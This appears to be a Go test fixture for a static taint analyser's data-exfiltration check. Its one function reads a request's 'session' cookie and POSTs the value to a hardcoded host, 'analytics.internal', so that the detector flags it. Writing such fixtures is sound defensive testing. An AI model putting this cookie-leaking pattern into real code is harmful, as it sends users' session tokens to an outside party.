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25 lines
818 B
Go
25 lines
818 B
Go
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// DATA_EXFIL fixture for the two-step `http.NewRequest` → `client.Do`
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// idiom. `http.NewRequest` is modeled as a body propagator (default
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// arg → return propagation lifts body taint onto the returned
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// `*http.Request`); the outbound network call happens at
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// `http.DefaultClient.Do`, where the DATA_EXFIL gate fires on the
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// request argument.
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//
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// SSRF must NOT fire (URL is hardcoded at NewRequest's URL position) and
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// the cookie-derived body must surface DATA_EXFIL at the Do call.
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//
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// Driven by `data_exfil_go_integration_tests.rs`.
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package fixture
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import (
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"net/http"
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"strings"
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)
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func leakViaNewRequest(r *http.Request) {
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c, _ := r.Cookie("session")
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body := strings.NewReader(c.Value)
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req, _ := http.NewRequest("POST", "https://analytics.internal/track", body)
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http.DefaultClient.Do(req)
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}
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